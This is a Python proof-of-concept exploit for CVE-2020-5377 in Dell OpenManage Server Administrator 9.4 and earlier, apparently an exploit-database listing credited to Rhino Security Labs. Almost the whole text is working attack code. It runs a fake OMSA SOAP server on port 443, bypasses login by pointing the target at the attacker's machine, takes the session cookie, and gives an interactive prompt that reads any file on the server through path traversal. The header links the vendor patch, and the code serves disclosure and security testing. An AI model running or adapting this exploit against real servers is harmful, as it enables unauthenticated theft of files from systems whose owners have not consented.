Dell OpenManage Server Administrator 9.4.0.0 – Arbitrary File Read
# Exploit Title: Dell OpenManage Server Administrator 9.4.0.0 - Arbitrary File Read # Date: 4/27/2020 # Exploit Author: Rhino Security Labs # Version: <= 9.4 # Description: Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station. # CVE: CVE-2020-5377 # This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator # Proof of concept written by: David Yesland @daveysec with Rhino Security Labs # More information can be found here: # A patch for this issue can be found here: # https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability from xml.sax.saxutils import escape import BaseHTTPServer import requests import thread import ssl import sys import re import os import urllib3 urllib3.disable_warnings() if len(sys.argv) < 3: print 'Usage python auth_bypass.py <yourIP> <targetIP>:<targetPort>' exit() #This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909 #Also check out https://github.com/hantwister/FakeDellOM class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_POST(s): data = '' content_len = int(s.headers.getheader('content-length', 0)) post_body = s.rfile.read(content_len) s.send_response(200) s.send_header("Content-type", "application/soap+xml;charset=UTF-8") s.end_headers() if "__00omacmd=getuserrightsonly" in post_body: data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>") if "__00omacmd=getaboutinfo " in post_body: data = escape("<ProductVersion>6.0.3</ProductVersion>") if data: requid = re.findall('>uuid:(.*?)<',post_body)[0] s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?> <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule"> <s:Header> <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To> <wsa:RelatesTo>uuid:'''+requid+'''</wsa:RelatesTo> <wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID> </s:Header> <s:Body> <n1:SendCmd_OUTPUT> <n1:ResultCode>0</n1:ResultCode> <n1:ReturnValue>'''+data+'''</n1:ReturnValue> </n1:SendCmd_OUTPUT> </s:Body> </s:Envelope>''') else: s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''') def log_message(self, format, *args): return createdCert = False if not os.path.isfile('./server.pem'): print '[-] No server.pem certifcate file found. Generating one...' os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"') createdCert = True def startServer(): server_class = BaseHTTPServer.HTTPServer httpd = httpd = server_class(('0.0.0.0', 443), MyHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() thread.start_new_thread(startServer,()) myIP = sys.argv[1] target = sys.argv[2] def bypassAuth(): values = {} url = "https://{}/LoginServlet?flag=true&managedws=false".format(target) data = {"manuallogin": "true", "targetmachine": myIP, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"} r = requests.post(url, data=data, verify=False, allow_redirects=False) cookieheader = r.headers['Set-Cookie'] sessionid = re.findall('JSESSIONID=(.*?);',cookieheader) pathid = re.findall('Path=/(.*?);',cookieheader) values['sessionid'] = sessionid[0] values['pathid'] = pathid[0] return values ids = bypassAuth() sessionid = ids['sessionid'] pathid = ids['pathid'] print "Session: "+sessionid print "VID: "+pathid def readFile(target,sessid,pathid): while True: file = raw_input('file > ') url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target,pathid,pathid,file) cookies = {"JSESSIONID": sessid} r = requests.get(url, cookies=cookies, verify=False) print 'Reading contents of {}:\n{}'.format(file,r.content) def getPath(path): if path.lower().startswith('c:\\'): path = path[2:] path = path.replace('\\','/') return path readFile(target,sessionid,pathid) |